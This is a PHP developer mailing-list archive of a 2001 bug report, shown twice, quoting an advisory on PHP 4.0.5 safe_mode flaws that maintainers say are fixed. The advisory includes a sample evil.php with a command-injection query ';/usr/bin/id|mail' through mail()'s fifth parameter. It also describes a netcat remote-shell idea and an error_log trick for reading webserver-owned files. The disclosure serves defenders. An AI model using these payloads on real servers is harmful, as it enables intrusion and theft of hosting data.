[PHP-DEV] Bug #11708 Updated: PHP safe mode troubles
ID: 11708
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old Status: Analyzed
Status: Closed
Bug Type: *General Issues
Operating System: any
PHP Version: 4.0.5
Assigned To: derick
New Comment:
The issue with the 5th parameter to mail has been fixed in CVS.
And safe-mode is broken anyways, and needs a rewrite.
Previous Comments:
[2001-07-02 05:33:30] [EMAIL PROTECTED]
Indeed, I didn't think of this. I'll make a fix tonight, in which I will restrict the
use of the fifth parameter to only use -f (which is configurable trough php.ini) and
to check for other such things.
This fifth parameter was only meant to be used to specify the from address for better
errors in logs, so this is usefull in safe mode.
Derick
[2001-07-02 05:22:40] [EMAIL PROTECTED]
Will look at this tomorrow and will contact author of the change (Derick Rethans)
[2001-06-26 14:57:34] [EMAIL PROTECTED]
PS: this is a raw copy paste from a snippet of the mail i
send to some members of the php core team. Im *not*
going to try to format it nicely in this
frustrating textbox.
Labaratoire Contempt
Date : 12/06/2001
Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
Impact : Minor in most cases.
Subject : PHP safe_mode troubles.
1. PHP Version 4.0.5 breaks safe-mode.
1.0 - Description of the problem
An extra 5th parameter was added to the mail() command breaking safemode:
- snippet of the code in mail.c (lines 156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, );
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path; }
sendmail = popen(sendmail_cmd, w); } }
- end of code snippet
The popen() function is the C library function popen(3).
An attacker could easily upload a simple evil.php script containing:
? mail(foo@bar,foo,bar,,$bar); ?
Then the script could be invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
1.1 Impact
Well, first of all it renders an important part of safe_mode useless.
Two examples come to mind:
1.1.1 Example 1
A customer has bougt some web space from a provider and is given only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.
The customer could easily upload and compile a lite version of the
popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install)
and spawn him self a remote shell on the hosting boxen.
If something like suexec is not used by the provider, the shell spawned
could in fact be a nobody (uid of webserver) shell. This could make
the situation even worse.
Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*.
1.1.2 Example 2
A customer has bought some web space from a provider and was given
a shell account on the hosting boxen.
If something similiar to suexec is not running the customer could spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)
The impact of this varies on a per setup/provider basis.
Most providers just dont *expect* someone to have a shell with the uid
of the webserver on the hosting box.
Internal scripts, database schemes and database password are commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.
Even webserver configuration files (httpd.conf) and *complete* webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.
Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine bad things are bound to happen sooner or later.
1.2 - Solution
Well, obviously just a slip of the PHP-team.
5th argument to mail() should not be honored in safe_mode. (MHO)
2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
2.0 - Description of the problem
PHP safe_mode has the nice feature of disallowing the opening/reading
and writing to files that are not owned by the uid that the script
is owned by.
Though using some common sense it still is possible to open/read
and write to files that are owned by the uid the webserver is
running as.
*notice* assuming that
[PHP-DEV] Bug #11708 Updated: PHP safe mode troubles
ID: 11708
Updated by: zak
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: *General Issues
Operating system:
PHP Version: 4.0.5
Assigned To: zak
Comments:
Will look at this tomorrow and will contact author of the change (Derick Rethans)
Previous Comments:
---
[2001-06-26 14:57:34] [EMAIL PROTECTED]
PS: this is a raw copy paste from a snippet of the mail i
send to some members of the php core team. Im *not*
going to try to format it nicely in this
frustrating textbox.
Labaratoire Contempt
Date : 12/06/2001
Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
Impact : Minor in most cases.
Subject : PHP safe_mode troubles.
1. PHP Version 4.0.5 breaks safe-mode.
1.0 - Description of the problem
An extra 5th parameter was added to the mail() command breaking safemode:
- snippet of the code in mail.c (lines 156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, );
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path; }
sendmail = popen(sendmail_cmd, w); } }
- end of code snippet
The popen() function is the C library function popen(3).
An attacker could easily upload a simple evil.php script containing:
? mail(foo@bar,foo,bar,,$bar); ?
Then the script could be invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
1.1 Impact
Well, first of all it renders an important part of safe_mode useless.
Two examples come to mind:
1.1.1 Example 1
A customer has bougt some web space from a provider and is given only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.
The customer could easily upload and compile a lite version of the
popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install)
and spawn him self a remote shell on the hosting boxen.
If something like suexec is not used by the provider, the shell spawned
could in fact be a nobody (uid of webserver) shell. This could make
the situation even worse.
Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*.
1.1.2 Example 2
A customer has bought some web space from a provider and was given
a shell account on the hosting boxen.
If something similiar to suexec is not running the customer could spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)
The impact of this varies on a per setup/provider basis.
Most providers just dont *expect* someone to have a shell with the uid
of the webserver on the hosting box.
Internal scripts, database schemes and database password are commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.
Even webserver configuration files (httpd.conf) and *complete* webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.
Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine bad things are bound to happen sooner or later.
1.2 - Solution
Well, obviously just a slip of the PHP-team.
5th argument to mail() should not be honored in safe_mode. (MHO)
2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
2.0 - Description of the problem
PHP safe_mode has the nice feature of disallowing the opening/reading
and writing to files that are not owned by the uid that the script
is owned by.
Though using some common sense it still is possible to open/read
and write to files that are owned by the uid the webserver is
running as.
*notice* assuming that something like suexec is not in place */notice*
An attacker could upload a simple script that does the following:
?
$cmd = '? showsource($foo); ?';
error_log($cmd,3,/path/to/user/wwwspace/nobody.php);
?
For example, assuming that the error_log is owned by the webserver it
could be read using a simple query:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
2.1 - Impact
Depends on the setup of the hosting box.
If suexec or something similiar is used, impact is nihil.
See also 1.1.1/1.1.2
2.3 - Solution
Disallow the changing of the error_log location in safe_mode?
Not really for me to say, the PHP-team will come with something
